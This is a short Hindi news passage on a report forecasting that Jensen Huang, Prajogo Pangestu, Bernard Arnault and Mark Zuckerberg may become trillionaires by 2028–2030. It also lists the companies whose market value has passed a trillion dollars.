रिपोर्ट के मुताबिक एआई चिप बनाने वाली कंपनी एनवीडिया के सीईओ जेंसन हुआंग और इंडोनेशिया के सबसे बड़े रईस प्राजोगो पेंगेस्तू भी 2028 तक ट्रिलिनेयर क्लब में शामिल हो सकते हैं। फ्रांसीसी कारोबारी और दुनिया के तीसरे बड़े रईस बर्नार्ड अरनॉल्ट साल 2030 तक ट्रिलिनेयर बन सकते हैं। उसी साल फेसबुक की पेरेंट कंपनी मेटा के सीईओ मार्क जकरबर्ग भी ट्रिलिनेयर क्लब का हिस्सा बन सकते हैं। अब तक केवल कुछ ही कंपनियों को ट्रिलिनेयर क्लब में जगह मिली है। इनमें ऐपल, माइक्रोसॉफ्ट, एनवीडिया, अल्फाबेट, ऐमजॉन, सऊदी अरामको और मेटा शामिल हैं। वॉरेन बफे की कंपनी बर्कशायर हैथवे ने भी हाल में एक ट्रिलियन डॉलर का मार्केट कैप हासिल किया था।

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